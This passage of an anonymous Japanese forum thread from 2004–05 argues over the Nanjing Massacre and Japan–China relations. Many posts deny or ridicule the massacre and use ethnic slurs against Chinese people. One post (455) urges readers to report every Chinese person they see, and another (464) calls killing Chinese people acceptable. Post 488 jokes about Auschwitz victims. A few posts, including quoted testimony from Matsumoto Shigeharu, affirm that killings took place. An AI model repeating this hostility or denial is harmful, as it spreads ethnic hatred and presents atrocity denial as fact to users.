> 日本人は中国人が大嫌い
まるで日本人全員が嫌っているみたいな書き方だな。

443 :名無的発言者:04/12/16 02:15:02
中国との関係では、日本では「悪い」が59%、米国は16%だった。日本では昨年より28ポイントも増
加し、2000年以降の調査で最も高かった。中国を「信頼していない」人も、日本では71%、米国は57%
で、日本での中国不信が際立っている。 中国との経済交流は広がっているものの、中国原潜による日本
領海侵犯事件や、サッカー・アジア杯での反日騒動、日本国内での中国人犯罪の多発などによって反感
が高まっているためとみられる。

http://www.yomiuri.co.jp/main/news/20041215it12.htm


444 :名無的発言者:04/12/16 07:06:35
打倒日本軍国主義」とタイトルがつけられたオンラインゲームが
「南京龍域」というインターネット上のサイトにあるそうです
このゲームはモグラのように穴から顔を出す「日本鬼子」を
マウスのポインターでクリックすることで“殺害”し、
殺した日本兵の数によって得点を競う仕組みだそうです。

得点ベスト3には、南京事件を記録したとされるドイツ人
ジョン・ラーベの「ラーベの日記(邦訳・南京の真実)」を贈呈。
ベスト10までには「南京虐殺本」の訴訟で敗訴したが
中国ではヒーロー的存在の東史郎氏の日記を贈呈するとしている。

このゲームの最初のページには、日本軍による虐殺とする写真」を
掲載しているほか、ゲーム終了後には、掲示板が設置され、
「原爆を日本に落とせ」「東京大虐殺」「小日本は死ね」
などのタイトルで文章が投稿・閲覧できる。

「小日本を消滅させる方法」では、
「日本を占領したうえで、若い日本人女性だけを生かし、
 エスニック・クレンジング(民族浄化)すれば日本そのものが
 十数年後には消滅する」といった内容まで書きこまれているとか。
(産経新聞 10.1 より)

445 :名無的発言者:04/12/16 20:10:44
>>442
7割が嫌いなら
「日本人は中国人が大嫌い」と言っても過言ではないだろ

446 :名無的発言者:04/12/17 11:00:39
山田支隊第65連隊遠藤少尉の陣中日記

「捕虜総数一万七千二十五名、夕刻より軍命令により
捕虜の三分の一を江岸に引出し第一大隊において射殺す。

一日二合宛給養するに百俵を要し兵自身徴発により給養しおる今日、
到底不可能事にして軍より適当に処分すべしとの命令ありたるもののごとし。」



447 :名無的発言者:04/12/17 11:11:17
テレ東の支那賛美番組、マジでキモイって!

448 :名無的発言者:04/12/17 12:59:31
■中国の大学が「南京大虐殺」専門サイトを開設
http://news13.2ch.net/test/read.cgi/news/1103252429/l50

449 :R15:04/12/17 15:01:10
南京大虐殺なんてなかった!教科書にそう書いてあるもん!
中国人って嘘つきなんだね!中国人と北朝鮮人の人は信用しちゃだめって
パパが言ってたもん!!中国人なんてだいっ嫌い!!

450 :名無的発言者:04/12/19 16:30:53
age

451 :名無的発言者:04/12/19 16:45:38
確かになかった!まぁ60年以上も前の事だから、あったところで誰も興味
をもたない!中国人の言ってることは信用ないってアメリカ人の友達が言ってた。

452 :名無的発言者:04/12/19 17:00:35
アメリカの友達の発言を、訳さず原文で書いてください

453 :名無的発言者:04/12/19 17:17:32
世界一馬鹿なアメリカ人ですか(笑)

454 :名無的発言者:04/12/20 18:55:18
そんな事よりよ、ちょいと聞いてくれよ。スレと少し関係あるからさ。
このあいだ、東京日々新聞読んだんです。今の毎日。
そしたらなんか人をめちゃくちゃいっぱい斬ったっていうんです。
で、よく見たらなんか日本刀持ってて、百人斬り、とか書いてあるんです。
もうね、アホかと。馬鹿かと。
お前らな、日本刀如きで弾丸飛び交う中で百人も斬れるわけねーよ、ボケが。
百人斬りだよ、百人斬り。
なんか同胞を見殺しにしておいて。中国で賞賛か。おめでてーな。
よーし俺中国持ち上げちゃうぞー、とか言ってるの。もう見てらんない。
お前な、六文やるから三途の川渡れと。
特ダネってのはな、もっと殺伐としてるべきなんだよ。
戦争で先に狙っていた奴にいつ特ダネの先超されてもおかしくない、
特ダネか殺られるか、そんな雰囲気がいいんじゃねーか。浅海は、すっこんでろ。
で、やっと地獄に行ったかと思ったら、本多の奴が、中国の旅、とか出してるんです。
そこでまたぶち切れですよ。
あのな、チャンバラなんてきょうび流行んねーんだよ。ボケが。
得意げな顔して何が、南京事件、だ。
お前は本当に南京事件知っているのかと問いたい。問い詰めたい。小1時間問い詰めたい。
お前、百人斬りって言いたいだけちゃうんかと。
南京事件通の俺から言わせてもらえば今、百人斬り否定派の間での最新流行はやっぱり、
名誉毀損で告訴、これだね。
訴えて・勝訴で・賠償金。これが国賊の黙らせ方。
正式に訴えて相手にしゃべらせて、法廷で勝訴。これ。
で、インターネットで不買運動しちゃう。これ最強。
しかしあまりやり過ぎると、匿名でも営業妨害で訴えられる上に
メディアの言い訳のネタにされるいう危険も伴う、諸刃の剣。
素人にはお薦め出来ない。
まあ日本人なら、自国を卑しめることはしなさんなってこった。

455 :名無的発言者:04/12/20 19:31:20
       
南京大虐殺なんか捏造だよ!まったくなしw中国人見たら通報を!!
俺は今年3回通報した!その内の1回で二人の中国人が、お国にお帰りに
なりました!!罰金も今までの10倍!300万になったので、中国人は
おとなしくしましょう!!
怪しい
中国人を見たら(中国人は皆怪しい)通報を!!国も力を入れ始めている
ので今こそ行動を!!


456 :トノレファソ:04/12/20 19:47:57

   / ̄ ̄ ̄ ̄ ̄ ミ
  /   ,――――-ミ
 /  /  /   \ |
 |  /   ,(・) (・) |
  (6       つ  |
  |      ___  |   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  |      /__/ / <   妄想史観が支那人の生きる糧なんだね
/|         /\   \____________

457 :名無的発言者:04/12/23 12:41:21
455みたいなのがウヨだと思われるとメイワクなんだがな

中国の30万人虐殺が誇大広告なのは周知の事実

民間人が一人も死んでない、なんてのが非常識な妄想であることも事実

458 :名無的発言者:04/12/23 12:57:09
455は八大もとい代官山人だろ

459 :名無的発言者:04/12/23 13:10:30
少なくとも特別あげつらって非難するべき規模ではなかった、ということでFA?

460 :名無的発言者:04/12/23 13:29:33
>>457
だからそれは南京大虐殺とは違うだろ

461 :俺もたぶんウヨクだけど:04/12/24 09:00:09
>>459
規模は相対的なものだが、非難に値しない規模だった、とは言えない。
少なくとも、加害者の方で言えることではない。
交通事故起こしたときに、被害者の元へ示談に行った弁護士が
「大した被害ではありませんでしたよね?」
なんて態度を示したら、その場で破談になる。
加害者が無反省と言うことで、裁判でも不利になる。
これが常識。2ちゃんねるの右翼は、自分の願望でものを言っているだけ。

462 :名無的発言者:04/12/24 10:05:59
20万都市で三十万人死ぬという子供だまし

463 :名無的発言者:04/12/24 10:10:39
>>462
そもそも、その数字に対して、シナから回答がないよな

464 :名無的発言者:04/12/24 20:42:30
相手が中国人だから殺してもよかったというのが総意

465 :名無的発言者:04/12/24 21:00:51
>461
あなたに、よい言葉を教えよう。
「それはお互い様だ。」

466 :名無的発言者:04/12/24 22:47:59
>>461
それいうんだったらもう済んだ話になるんじゃね?俺は加害者じゃないし。
大規模だからこそ日本の国家犯罪として永遠に糾弾し続けられるわけよ。
小規模じゃ駄目なの。
何故中国が規模にこだわるか、なんもわかっとらんのね。

467 :名無的発言者:04/12/24 22:52:24
あとさあ
そういう例ではなすならさあ。
被害を過大に申告するのも犯罪なわけだが。
紆余とかいうのはやめたほうがいいよ。馬鹿みたいだから。

そういえば北朝鮮も「日本の極右勢力が横田めぐみの骨の鑑定結果を捏造した」とかなんとか言ってたなあ。
人をウヨ呼ばわりする奴は胡散臭い。

468 :名無的発言者:04/12/24 22:54:28
通州虐殺事件
「南京虐殺の徹底検証」東中野修道著 展転社より

『東京裁判却下未提出辯護側資料』第三巻に収録された外務省情報部長の公式声明(八月二日)と同部長談話(八月四日)によれば、
事件が起きたのは七月二十九日(昭和十二年)の午前四時であった。
三千人ほどの通州保安隊が百十名ほどの日本軍守備隊兵営を包囲し、日本人商店、旅館、民家を急襲した。通州の日本人三百八十名のうち、
約二百名が虐殺された。ようやく難を免れたのは、日本軍の兵営に逃げ込んだ百二十名だけであった。

外務省情報部長談話によれば、事件の全貌は次のようであった。
《支那人は婦女、子供をも共に、全日本人を虐殺せむと企てた。婦人の多くは掻きさらはれて、二十四時間虐待酷使された後、東門の外で殺されたが、
其処まで連れて行かれるには手足を縛られ、或は鼻や喉を針金で突き通されて、
曳きずられたのであった。死骸は近くの池にぶち込まれ、
或る者は強力な毒物をぬりつけられて、顔がずたずたになつてゐた。》

これは、戦時国際法にたいする重大な違反であった。外務省情報部長は事件から四日を経て、公式に支那兵の日本人虐殺・強姦・掠奪を批判したのである。東京裁判にも、弁護側からこの公式声明が提出された。しかし、理由の提示なきままウェッブ裁判長は却下している。
「通州虐殺」は連合国にとり、触れて欲しくない問題であったからである。


469 :名無的発言者:04/12/25 00:33:33
>>467
誰に言っているの? 461なら、君は文盲か?

470 :名無的発言者:04/12/25 00:42:06
>>469
どの部分をさして文盲とおっしゃる。

471 :名無的発言者:04/12/25 00:43:56
>>470
461が他人をウヨ呼ばわりしていると言っているところ。

472 :名無的発言者:04/12/25 00:47:19
ああ、言うまでもなくウヨ(ク)と右翼では意味合いが違う。

473 :名無的発言者:04/12/25 00:50:48
>>459は俺ではないが、
それに対して>>461
>2ちゃんねるの右翼は、自分の願望でものを言っているだけ。
と反してるね。

俺にはそう読めるが、俺の誤読か?
>>459を評して2ちゃんねるの右翼と言ったのではないのかい?

474 :名無的発言者:04/12/25 00:55:01
右翼とウヨは違うのか。
そうかいw

まあしかし俺の言わんとする事の意味は変わらんね。
レッテル張りで思い出すのが北朝鮮だったんだよ。たまたまね。

たまたま

475 :名無的発言者:04/12/25 13:53:54
↑ウヨが馬鹿だということだけはわかるなw

476 :名無的発言者:04/12/25 15:26:01
↑そういうサヨのオマエモナー

477 :名無的発言者:04/12/25 15:38:30
              /:::::,r'´      ヽ:::::::::l,
             l:::::::l_,,_    _,,-‐-: :'l:::::::::l
              ゝ::iィ'"`゙`t‐l´ ̄~゙i、:.l:::::::::l
               ゙ビ'--‐i  ゙'‐-‐'': :`'´ i丿
               ゙i    ``     : : : リノ
                 ゙i  r--‐ーッ : :r、ノ
                 ゙i ``''''"´ : :/::l'" <ほう……はっは! 見ろ、ブサヨがゴミのようだ!!!
               . ゙i、,___/: :l_
               _,,(F-、, _,,-‐''''""´ !、,_
          _,,,..-‐/''´::l゙`-、-V_,,,、、-‐'''"ノ;;;;;;;`゙`'‐ 、,_
    ,,-‐'""´ ̄:::::::::/:::::::,rレ'´  i、ヽ--‐ 丿::::::::::;;;;;;;;;;;;;;;;;`゙`'‐-- 、
  ,ィ'::::::::::::::::::::::::::::/_/     i : ヽ ,ィ':::::::::::::::::::l:::::::::::::;;;;;;;;;;;;;;;;;;;;;;;;:ヽ
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478 :名無的発言者:04/12/25 21:48:07
何か反論があったら自分の言葉で言えよな。レッテル張らずに。
極右勢力がなったらって言いがかりをつける北朝鮮にすんごく似てるぞ左翼構成員はさ。

で、めぐみさんの遺骨とやらの鑑定結果は極右勢力の捏造なのかね左翼くん。
お前らが反応したのは、実はこの部分だったりしてなw

ほんとしょうもないやつらだ。

479 :名無的発言者:04/12/25 22:01:06
>>461
まぁ今更こんなレスせんでも、>>461以外は皆分かってるだろうけど

まず、事故の謝罪も賠償も話し合いがついているのに重ねて
被害者が過大申告で過剰な賠償をせしめようとしたら
「大した被害ではありませんでしたよね?」と
確認、指摘し要求を退けるのは当然のことなんですが。

冷静に状況判断できるようになる前に他人にレッテル貼ると恥かきますよ。

480 :名無的発言者:04/12/25 23:12:07
この人は敵がいないと死んでしまう人なんだな

481 :名無的発言者:04/12/25 23:26:05
過大に申告したら、日本国内では犯罪だって。
詐欺師が良く使う手だろ。

482 :名無的発言者:04/12/26 01:16:00
過大に申告して靖国参拝中止や教科書改竄やODA継続を要求してんだね。

483 :名無的発言者:04/12/26 12:25:34
小泉が日中友好の話してるのに
「日本人が一体、何人の中国人を殺したと思ってるんだ」
ってキレた中国首相は、まさに詐欺師だね。
催眠商法の〆は脅しなんだなあ。

でも、手口がばれても新しい次の作戦が思い浮かばない中国は、詐欺師としては終わっとる。

484 :名無的発言者:04/12/26 13:03:05
フランスの国際法学者フォーシーユは、日本軍について次のように語っている。
「日中戦争で日本軍は、敵が国際法を無視したにも拘らず自らはこれを守り、
日本軍人であることに誇りを持っていた。
中国兵は卑怯にして残虐極まりない軍隊で、例えば中国軍の捕虜になると、
四肢を斬り分けられ、生きながらに火炙(あぶ)りにされたり、磔(はりつけ)
にされたりしたのである。
更に日本兵の屍に対しても、酸鼻を極めた蛮行を行っている。
即ち死者の首を切り落とし面皮を剥ぎとり、或は男根を切り落し、胸部を
切り開いて石を詰め込み、首は両耳を穿って紐や針金を通し、さながら魚
を串刺しにしたように口から喉に紐を通して持ち運びする等々、それが中国
軍の戦争様式であり、日本軍には絶対に見ることのできない支那の戦争文化
である」


485 :名無的発言者:04/12/26 13:13:49
 その通り
 それは当事、一種常識だったんだが、近頃の若いもんは敵占領軍の洗脳教育で
何も知らないから、日本が悪いなんてトンデモ説になるんだな


486 :名無的発言者:04/12/26 13:27:48
実際に南京大虐殺はあったけど、

やったのは中国人だから。 具体的には蒋介石率いる国民党軍が、
南京を敗走するさいに後に来る日本に嫌がらせする目的で焼き払い盗みまくった。

487 :名無的発言者:04/12/26 13:36:51
腹黒なのは今も昔も変わらない

488 :ホッシュジエンの国内ニュース解説:04/12/29 06:35:55
ユダヤ人ら約110万人がガス室などでナチス・ドイツに殺害されたアウシュビッツ
強制収容所の解放60年記念式典が来年1月開かれる。ポーランド国立アウシュビッツ
博物館のイエジ・ウルブレフスキ館長は式典を前に「残念なことに人類は過去の
経験から正しい経験を導き出していない」と述べ、歴史を学ぶことの重要性を強調した。
 ̄ ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 彡ミ    ___  __    諸君はいずれにせよ身を粉にして働く事になり、
  |ヽ  /|  ,,,,,,,,l /  / その後、煙突の煙となって自由を獲得するという意味だよ。
  |ヽ   | | ミ ・д・ミ/_/旦~~ 
  ⊥   |  ̄| ̄|| ̄ ̄ ̄ ̄ ̄| アウシュビッツ収容所の「働けば
  凵    `TT | ̄l ̄ ̄ ̄ ̄ ̄l 自由になれる」ってどうゆう事? ソーナノ ?(・∀・;)

04.12.29 Yahoo「『人類よ、過去に学べ』虐殺から60年で博物館長」
http://headlines.yahoo.co.jp/hl?a=20041228-00000146-kyodo-int

489 :名無的発言者:04/12/29 09:09:30
うろ覚えで書くんだけど、
当時の蒋介石軍の将校が「後方攪乱のため、市内に潜んで、
欺瞞通報とかやりまくって、それが成功した」と英字新聞に
載っていたと言う文章をどこかで読んだんだが、誰か知らないか?
又、その新聞に関する情報を持っていないか?
498
ちなみに、敗走する四川省軍に対して、南京守備隊が銃撃を加えたのは
事実らしい。同士討ちね。下関(シーカン)に逃げるのに舟を使い、再びそ
の舟を使用できないように焼き払ったらしい。だから、河に浮かぶおび
ただしい死体の写真を見るとき、シナ人同士でやっちゃたんだと思う。

490 :名無的発言者:04/12/29 09:29:36
『パール・バックの偽善』

ところで、あのパール・バックは南京虐殺の時、
南京から夫と日本へ避難し、
日本で「平和ってほんとに良いものですね」と書いている。

ところが去年、殺人・略奪の収まった南京に戻ったときのことを
「驚いたことにみだらな落書きが一つもないではありませんか」
と書いて中国人を持ち上げている。

中国人を絶賛するパール・バックが書いていないものがある。
あの時、南京では何が起こっていたか。
中国兵は笑いながらイギリス領事をその庭先で撃ち殺した。
無抵抗のアメリカ人も一人、同様になぶり殺しにした。
・・邸に逃げ込んだ五十人の外国人に、雨あられと弾丸を浴びせた。
こういうことを、パール・バックは一切書いていないのである。
http://www.asahi-net.or.jp/~xx8f-ishr/ankoku_tairiku.htm



491 :名無的発言者:04/12/30 02:05:14
>>489

1938年1月3日上海発の『ニューヨーク・タイムズ』の記事(1月4日付)

「元支那軍将校が避難民のなかに---大佐一味が白状、南京の犯罪を日本軍のせいに」

≪南京の金陵女子大学に、避難民救助委員会の外国人委員として残留しているアメリカ人教授たちは、
逃亡中の大佐一味とその部下の将校を匿っていたことを発見し、心底から当惑した。
実のところ教授たちは、この大佐を避難民キャンプで2番目に権力ある地位につけていたのである。

 この将校たちは、支那軍が南京から退却する際に軍服を脱ぎ捨て、それから女子大の建物に住んでいて発見された。
彼らは大学の建物の中に、ライフル6丁とピストル5丁、砲台からはずした機関銃一丁に、弾薬をも隠していたが、
それを日本軍の捜索隊に発見されて、自分たちのもであると自白した。

 この元将校たちは、南京で掠奪した事と、ある晩などは避難民キャンプから少女たちを暗闇に引きずり込んで、
その翌日には日本兵が襲ったふうにしたことを、アメリカ人や外の外国人たちのいる前で自白した。
この元将校たちは戒厳令に照らして罰せられるだろう≫

http://www.geocities.co.jp/Bookend-Ryunosuke/8312/page004.html

492 :名無的発言者:04/12/30 06:45:29
>>491
ユダヤ教徒だって・・・


ニューヨークタイムズの変りぶりを見れば推し量られるだろうに。

493 :名無的発言者:04/12/30 06:48:12
レイプとか、占拠とか、略奪とか、罪の擦り付けとか、
その種の事に憤りを覚えるような良心を持ってたら、
幾ら命があっても足りないよ。

494 :名無的発言者:04/12/30 08:29:04
●女子十二楽坊のナゾ●
中国には日本と違って、言論の自由や、職業選択、居住移転の自由のような基本的人権がない。
それは、NBA(全米プロバスケットボール)のスター、姚明の稼ぎを中国の官製団体が歩合制で巻き上げて
いることからも明らかだ。となると、最近中国が日本に送り込んで来たミュージシャン、女子十二楽坊も
中国の「官製アイドル」であると見て間違いない。そもそも歌手でもない彼女らが03年大晦日の
NHK『紅白歌合戦』に出場したというのは、おかしいではないか。「歌わなくても出場していい」のなら、
日野皓正だって国府弘子だって、極端な話、N響だって出場資格があるはずだ。
『紅白』という日本最大の宣伝機会を得られるなら、出たい演奏家はいくらでもいる。
半世紀以上続いた『紅白歌合戦』の伝統をNHK側が発案して変えることはまずありえない(次の年から演奏家の売り込み殺到でパニックになるからだ)。
これは「(歌わないけど)出場したい者」の側が、よほど巨大な力を背景に交渉しない限り不可能だ。
もちろん、その「巨大な力」は中国政府以外にありえない。
そうなると、日本国内にいる間は、日本国憲法上の人権が彼女らにも適用されるので、
彼女らは日本人と恋愛しようが結婚しようが、また反中国的な言動をとろうが自由…………ではない。
彼女らの家族は中国にいる。中国では、犯罪者を刑罰として刑務所に入れる場合は裁判が必要だが、
「反革命分子」を労働改造所に強制収容する場合は(刑罰でなく「教育」なので)裁判が要らない。
だから、もし十二楽坊のだれかが国外で「反中国的な」言動をとったら、翌日には彼女の親は労働改造所送りになる恐れがある。
そして、このことがわかっているので、国外在住の中国人は言動を慎むのだ。
映画『ラストエンペラー』の女優ジョアン・チェンが、星条旗に忠誠を誓って
(星条旗が象徴する、中国にはない「自由」がほしくて)米国籍を取ったくせに
「アメリカのパスポートのほうが海外で活動しやすいから国籍を変えた」などとウソをつかざるをえないのは、
彼女がいみじくも述べているように両親が上海にいるから、また、彼女の祖父が文革時代に弾圧されて
自殺に追い込まれており、中国の人権弾圧のこわさを知っているからだ。

495 :名無的発言者:04/12/30 13:29:23
>>491の真相

http://www.geocities.jp/yu77799/higasinakano126.html



496 :名無的発言者:04/12/30 15:04:06
南京大虐殺記念館は毎日行列で大盛況です。
軍人や公安、学生が団体で思想教育のために訪れております。
日本では考えられない教育が行われております。

南京大虐殺記念館の様子
http://px820.fc2web.com/kankou/danvesha/danvesha01.html

497 :名無的発言者:04/12/30 17:39:26
―日本軍による南京虐殺について、最近、新しい資料が出ておりますね。

松本 最近、雑誌『歴史と人物』に南京攻略に参加した一六師団の指揮官、
中島今朝吾中将の「中島第一六師団長日記」がのっていました。中島師団長
が書き綴っていた陣中日誌のうち、南京陥落後の一二月一一日から陥落後の
三一日までの分が省略なしに全文のせられていて、当時のなまなましい様子
がよくわかります。
 日記には、日本軍が攻めこみそうなところに中国軍はたくさん地雷を埋め
ていたから、天文台付近で捕虜にした工兵少佐に、地雷を敷設した場所を尋
問しようとしたが、兵隊は、この将校をすでに斬り殺していた。兵隊にはか
なわん、かなわん―と書いてある。中島師団長自身の軍刀の切れ味をみるた
め、捕虜の試し斬りを日本からきた剣士にさせたことも書かれています。

―第一六師団が南京の下流の揚子江岸に敵前上陸したあとは、敗走する中国
軍を追撃するだけですから、それから南京までは戦闘らしい戦闘もせず、無
傷で、手持ちぶたさ、といいますか、勇む心のやり場がないということにな
りますね。

松本 なにしろ、上海で防衛線を突破されてからの中国軍は逃げる一方だっ
た。第一六師団などは戦う相手がいなかったのです。中国軍の逃げ足は速い
のですが、それよりも日本軍の進撃のスピードが速く、中国軍の退路を先回
りすることになる。中国軍捕虜はどんどんふえていきます。第一六師団に属
する佐々木到一少将の旅団の部隊は、一〇〇〇人ほどの兵力なのに、捕虜を
六〇〇〇人もかかえてしまった、という話を聞きました。ところが、中島師
団長の日記には「捕虜はつくらない方針だ」と書かれています。それは、一
時は捕虜として食物を与えておくが、一部を釈放し、他は遅かれ早かれ処分
する、という意味しか考えられない。またそういう意味のことが文字通り日
記に書いてあります。


498 :名無的発言者:04/12/30 17:41:26
―前線部隊として、糧秣類は現地調達せざるをえない。主食や野菜な
どは集めるのに苦労します。そういうときに、たくさんの捕虜を連れ
ていることは、その食べ物をどうするか一つ考えても大ごとです。中
島日記には佐々木旅団の”武勇伝”がいろいろと記録されていますね。

松本 中島師団長の日記を読みますと、第一六師団の作戦区域には中
国の敗残兵がたくさんいたようです。「後で知ったところによると、
佐々木旅団が処理しただけで約一万五〇〇〇」と報告されています。
けれども、この数字だけで、一万五〇〇〇人が虐殺された、と判断で
きません。戦争のとき、師団長に報告する戦果は実際より過大になる
ものだ、と聞いていました。また、戦闘行為によって殺されたものか
、虐殺によるものかも、はっきりしません。

―最近、日本のマスコミや世論の一部が、南京虐殺があったのか幻で
はなかったのか、という議論を起こしています。虐殺が全くなかった
、と強弁する向きもあれば、小虐殺はあったにしても大虐殺はなかっ
た、という説もある。南京虐殺事件の有無やその人数をめぐって議論
がわいています。南京虐殺はあったことははっきりしているわけです
ね。

松本 ”南京内外での虐殺事件がなかった”ということはない。あっ
たことは事実です。犠牲者は大半は捕虜で、非戦闘員の中国市民男女
も相当あったと思われます。



499 :名無的発言者:04/12/30 17:43:32
自分たちに都合がいい結果を出すと決定してる奴にしか、
検証もさせないようなものを否定できるわけあるまいよ。
逆に「ある」と言ってる奴が出してる数値はどこから出てきたんだ?
議論の余地も無い確実な証拠も出さず結果を出す学者なんて学者じゃない
ただの詐欺師。

500 :名無的発言者:04/12/30 17:43:39
―最近、南京市の軍史資料研究会の『証言・南京大虐殺』という資料
が日本で翻訳されました。この資料によると、集団虐殺が約一九万人、
イスラム教徒など宗教団体によって個人的に埋葬された人が一五万人
以上、合わせて三十何万人となっています。他方、日本側には、数万
人から一〇万人の規模という見方があります。先生ご自身、ある意味
でこの論争に巻きこまれなさったいきさつがあるのですが・・・。

松本 虐殺された犠牲者が何人だったか、の議論は水かけ論のような
議論になりかねないと思うのです。たとえば、南京雨花台は最後に激
戦があったところです。日本軍に包囲されて、たくさんの中国兵が死
んでいますが、そういう中国人の犠牲者は、戦闘中に戦死したのか、
捕虜になってから虐殺されたのか、わからないでしょう。中国側の犠
牲者が戦闘行為によるのか、虐殺によるのか、区別しにくいことは深
沢君ら三人ともいっていました。


501 :名無的発言者:04/12/30 17:44:22
―警視庁の広報課の係長をして退職した方が第六五連隊の伍長として
南京攻略に参加され、そのときの記録やスケッチを公開されたことが
あります。彼が自分の部隊だけで中国兵捕虜一万三五〇〇を虐殺した、
というのです。その経緯ですが、捕虜の集団をある島に渡らせようと
したとき、その島に隠れていた中国兵が発砲してきた。そこで、捕虜
が騒ぎ出した。このままでは収拾がつかなくなり護送している自分た
ちの身の危険も感じた。そこで、重機や、軽機を乱射して捕虜の集団
を皆殺しにした。その数は一万三五〇〇人にのぼる、というのです。
そういう事件が起こったことが事実だとして、それに類する事件や残
虐行為がほかにあったであろうことを考えますと、その数は多数にの
ぼると思うのですが・・・。少なくとも何万というオーダーの虐殺は
、戦時であるとはいえ、すさまじい規模ですね。

松本 南京占領当時、大本営が発表した中国軍の損失は九万人ですが、
深沢君らは、このなかには捕虜の虐殺数が相当含まれているのではない
かといっていました。占領直後の一四、一五日には便衣隊狩りや敗残兵
狩りがおこなわれたと聞いていますが、先にお話ししたように、占領し
て五日目に私が南京に入ったときはもうすでに平静でした。それまでに
三〇万とか四〇万人といった中国人が虐殺されていたとは考えられない。
 深沢君らはしっかりした記者でしたが、何十万という大虐殺事件はなか
ったようだ、といっていました。私は南京内外で虐殺された中国人は捕虜
と一般中国市民たちを総計して三万人ぐらいと推定しています。しかし、
これも自分で情報を総合して考えた揚げ句であって、必ずしも正確な数字
だとはいえません。
(松本重治「昭和史への一証言」 P74〜P78)



502 :名無的発言者:04/12/30 17:49:19
中国人の骨は(水溶性なので)どこに行ったかわかりませんので
検証「させません」。でも南京事件はありました。

・・・・論理が破綻してます。

503 :名無的発言者:04/12/30 17:51:47
戦闘中に戦って死んだ兵隊は虐殺されたのです。

・・・意味不明です。

504 :名無的発言者:04/12/30 17:55:07
あいつが見たと「言ってました」

・・・誰かが言ってたら事実。

「あいつがドラえもんは絶対にいると言っていたんだ」=「ドラえもんはいるのは事実」。
すでに脳みそが病気です。病院に行きましょう。

505 :名無的発言者:04/12/30 17:58:47
シナ人の死体を見た=日本兵が殺した。

・・・SFファンタジーの世界です。
   その同族殺しはやらない彼らが国共内戦をしたことの
   説明がつきません。

506 :名無的発言者:04/12/30 18:21:24
銃を持った敵が目の前にいて攻撃をしてくるのに、
敵じゃなく、捕虜を機関銃で撃って確実に皆殺しにするくらい
余裕ありまくりで、弾薬豊富な日本兵。

しかも、敵からの銃弾が飛び交う中、捕虜の死者を500人単位で
キリ番で数えるほど優秀な視力と観察力、記憶力、勇気があります。
ちなみに、川の上ですが死体は下流には流れないことにしております。
まさに神の軍隊です。


507 :名無的発言者:04/12/30 21:41:53
今回の津波被害の死者の埋葬が既に飽和状態ということからしても、30万の死体処理がどうなるか、考えて見ても分かる。無理!

508 :名無的発言者:04/12/31 09:30:22
30万では少ない。40万近くあった。
とか言う人たちが日本人のなかにも居ますね。。
で、根拠はと言うと、例えば>>495みたいに、反論にもならない反論に終始するのが関の山なんです。

あったという人たちに必要なのは、反論じゃなくて立証。有無も言わさない立証を立てることですね。妄想でなくて。
それに対する反論には懇切丁寧に教え諭すくらいの確固たる立証。
攻め立てられて防戦しなきゃならない体たらくでは南京なんか誰も信じませんって。

509 :ゴー宣板の男:04/12/31 09:44:42
うちの板では、南京大虐殺の肯定派は、ぐうの音もでてない。

510 :名無的発言者:04/12/31 12:02:23
中国の軍拡を決して許すな!

中国 日本射程のミサイル開発中
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H15/1511/1511077threat.html
中国 戦闘機フル生産
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H16/1601/1601108airplane.html
タリバンの死者の中に中国兵
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H13/1312/131226taliban.html
中国 台湾制圧可能
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H13/1309/130913china-taiwan.html
中国、米のどてっ腹にヒ首 露にキューバ基地の譲渡を求む
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H13/1312/131222china.html
中国沿岸 米中両軍サヤあて
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H14/1411/141183coast.html
中国軍企業イランにミサイル部品を輸出
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H15/1506/1506075export.html
中国の対台湾ミサイル 予想以上のペースで増強
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H15/1507/1507074army.html#03
止まらない中国のミサイル軍拡
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H15/1507/1507074army.html#01
中国短距離ミサイル 沖縄、台湾攻撃可能 米国防総省
http://www5f.biglobe.ne.jp/~kokumin-shinbun/H15/1509/1509071attack.html


511 :名無的発言者:04/12/31 12:51:39
日中戦争の死者数の推移

1946年      130万人(東京裁判:中国国民党とGHQの主張)
1950年代     600万人
1960年代    1000万人
1970年代    1800万人
1985年     2100万人
1995年 死傷者3500万人
1997年  死者3500万人(大躍進の餓死者が3000万人だからこの数字に)
20年後予測   5000万人(大躍進の餓死者+文化大革命の死者+αで)


1936年
1937年 鬼畜日本軍!南京で30万人の住民を虐殺!
1938年
1939年
1940年
1941年
1942年
1943年
1944年
1945年
1946年 中国が南京で大虐殺があったと主張し始める(東京裁判)
1947年


512 :一つ聞きたいのですが・・・:05/01/01 12:54:55
小室直樹が南京大虐殺否定してるんだが、これを批判している人っている?

513 :名無的発言者:05/01/02 08:57:55
>>509
「うちの板では」ってところが必死過ぎw


514 :名無的発言者:05/01/02 23:08:23
>>513
顔ひきつってない?

515 :名無的発言者:05/01/02 23:30:56
>>496 虐殺館みたよ、TKs
どういう風に証明するんだ、あの骨が日本軍に虐殺された中国の一般民だって。
すごいよ中国人、ホントは国民党に服を奪われた一般民の骨なんだろ?
それにしても、骨の量が30万人分にしては少ないなー。


516 :名無的発言者:05/01/02 23:46:26
>>515
当時の中国人は日本人の100分の1の大きさだったんです。
骨も水に溶ける素材でできていましたから当然です。

517 :名無的発言者:05/01/03 00:32:57
国際法廷とか開けないもんかねえ
中国は意地でも30万説でくるだろうから、法廷内虚偽罪で罰せられるわけだが。

518 :名無的発言者:05/01/03 08:30:31
>>515
原爆資料館には被害者数分の骨がちゃんと展示されてるもんなw

>>517
否定派は自らの正当性を信じるなら国際法廷開催の運動をすべき。
日本人の名誉のためにそれくらいできるはず。
それができないのは、否定論の主張が国際的にも司法的にも通用しない
ものだとわかってるから。

519 :名無的発言者:05/01/03 18:09:59
>>518
っていうか肯定派が証明し限り、無視でいいと思うが。

520 :名無的発言者:05/01/03 18:17:30
しかし・・・間もなく人民から中国内部の歴史捏造糾弾が始る予感。
チベット侵略も同じく。

521 :名無的発言者:05/01/03 18:18:54
>>518
>それができないのは、否定論の主張が国際的にも司法的にも通用しない
>ものだとわかってるから。

